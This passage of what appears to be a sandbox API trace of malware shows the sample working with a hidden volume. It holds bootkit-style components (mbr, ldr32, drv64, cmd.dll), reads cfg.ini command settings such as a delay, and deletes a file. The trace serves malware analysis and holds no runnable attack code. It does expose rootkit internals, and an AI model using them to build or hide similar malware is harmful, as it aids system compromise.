KeWaitForMutexObject () returned 0x0 [0121.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.824] KeLeaveCriticalRegion () [0121.824] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.824] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.824] KeEnterCriticalRegion () [0121.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.824] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.824] KeLeaveCriticalRegion () [0121.824] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.825] KeEnterCriticalRegion () [0121.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.825] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.825] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc67d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.825] KeLeaveCriticalRegion () [0121.825] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.825] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.825] KeEnterCriticalRegion () [0121.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.825] ExFreePoolWithTag (P=0xfffffa8003bc6200, Tag=0x0) [0121.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.825] KeLeaveCriticalRegion () [0121.825] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.825] ReleaseMutex (hMutex=0xf0) returned 1 [0121.825] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.825] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.825] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.825] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.825] KeEnterCriticalRegion () [0121.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.825] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.825] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.825] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.825] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.825] IdePortDispatch () returned 0x103 [0121.825] KeWaitForMutexObject () returned 0x0 [0121.825] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.825] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.825] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.825] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.825] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.825] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.825] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.825] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.825] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.825] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.825] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.825] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.826] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.826] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.826] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.826] KeLeaveCriticalRegion () [0121.826] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.826] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.826] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.826] KeEnterCriticalRegion () [0121.826] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.826] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.826] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.826] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.826] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.826] IdePortDispatch () returned 0x103 [0121.826] KeWaitForMutexObject () returned 0x0 [0121.826] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.826] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.826] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.826] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.826] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.826] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.826] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.826] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.826] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.826] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.826] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.826] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.826] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.826] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.826] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.826] KeLeaveCriticalRegion () [0121.826] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.826] ReleaseMutex (hMutex=0x100) returned 1 [0121.826] Sleep (dwMilliseconds=0x2bf20) [0121.835] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6bd0ca90, dwHighDateTime=0x1d24fa4)) [0121.835] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.835] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.835] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.835] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.835] KeEnterCriticalRegion () [0121.835] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.835] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.835] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.835] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.835] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.835] IdePortDispatch () returned 0x103 [0121.835] KeWaitForMutexObject () returned 0x0 [0121.835] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.835] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.835] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.835] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.835] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.835] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6710 [0121.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.836] KeLeaveCriticalRegion () [0121.836] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.836] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.836] KeEnterCriticalRegion () [0121.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.836] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.836] KeLeaveCriticalRegion () [0121.836] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.836] KeEnterCriticalRegion () [0121.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.836] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.836] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.836] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.836] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.836] IdePortDispatch () returned 0x103 [0121.836] KeWaitForMutexObject () returned 0x0 [0121.836] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.836] KeLeaveCriticalRegion () [0121.836] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.836] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.836] KeEnterCriticalRegion () [0121.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.836] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bdf000 [0121.836] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.836] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.836] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.837] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.837] IdePortDispatch () returned 0x103 [0121.837] KeWaitForMutexObject () returned 0x0 [0121.837] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.837] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.837] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.837] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.837] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.837] IdePortDispatch () returned 0x103 [0121.837] KeWaitForMutexObject () returned 0x0 [0121.837] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.837] KeLeaveCriticalRegion () [0121.837] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.838] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.838] KeEnterCriticalRegion () [0121.838] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.838] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.838] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.838] KeLeaveCriticalRegion () [0121.838] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.838] KeEnterCriticalRegion () [0121.838] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.838] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.838] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2e10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.838] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.838] KeLeaveCriticalRegion () [0121.838] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.838] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.838] KeEnterCriticalRegion () [0121.838] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.838] ExFreePoolWithTag (P=0xfffffa8003bc6710, Tag=0x0) [0121.838] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.838] KeLeaveCriticalRegion () [0121.838] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.838] ReleaseMutex (hMutex=0xf0) returned 1 [0121.838] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.838] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.838] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.838] KeEnterCriticalRegion () [0121.838] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.838] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.838] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.838] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.838] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.838] IdePortDispatch () returned 0x103 [0121.839] KeWaitForMutexObject () returned 0x0 [0121.839] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.839] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.839] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.839] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.839] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.839] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6f10 [0121.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.839] KeLeaveCriticalRegion () [0121.839] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.839] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.839] KeEnterCriticalRegion () [0121.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.839] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.839] KeLeaveCriticalRegion () [0121.839] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.839] KeEnterCriticalRegion () [0121.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.839] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.839] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.839] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.839] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.839] IdePortDispatch () returned 0x103 [0121.839] KeWaitForMutexObject () returned 0x0 [0121.839] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.839] KeLeaveCriticalRegion () [0121.839] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.840] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.840] KeEnterCriticalRegion () [0121.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.840] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000be0000 [0121.840] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.840] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.840] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.840] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.840] IdePortDispatch () returned 0x103 [0121.840] KeWaitForMutexObject () returned 0x0 [0121.840] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.840] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.840] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.840] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.840] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.840] IdePortDispatch () returned 0x103 [0121.840] KeWaitForMutexObject () returned 0x0 [0121.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.840] KeLeaveCriticalRegion () [0121.840] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.841] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.841] KeEnterCriticalRegion () [0121.841] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.841] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.841] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.841] KeLeaveCriticalRegion () [0121.841] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.841] KeEnterCriticalRegion () [0121.841] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.841] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.841] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.841] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.841] KeLeaveCriticalRegion () [0121.841] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.841] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.841] KeEnterCriticalRegion () [0121.841] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.841] ExFreePoolWithTag (P=0xfffffa8003bc6f10, Tag=0x0) [0121.841] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.841] KeLeaveCriticalRegion () [0121.841] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.841] ReleaseMutex (hMutex=0xf0) returned 1 [0121.841] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.841] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.841] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.841] KeEnterCriticalRegion () [0121.841] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.841] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.841] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.841] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.841] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.841] IdePortDispatch () returned 0x103 [0121.841] KeWaitForMutexObject () returned 0x0 [0121.842] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.842] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.842] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.842] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.842] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.842] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbdf10 [0121.842] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.842] KeLeaveCriticalRegion () [0121.842] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.842] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.842] KeEnterCriticalRegion () [0121.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.842] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.842] ExReleaseFastMutexUnsafe (in: 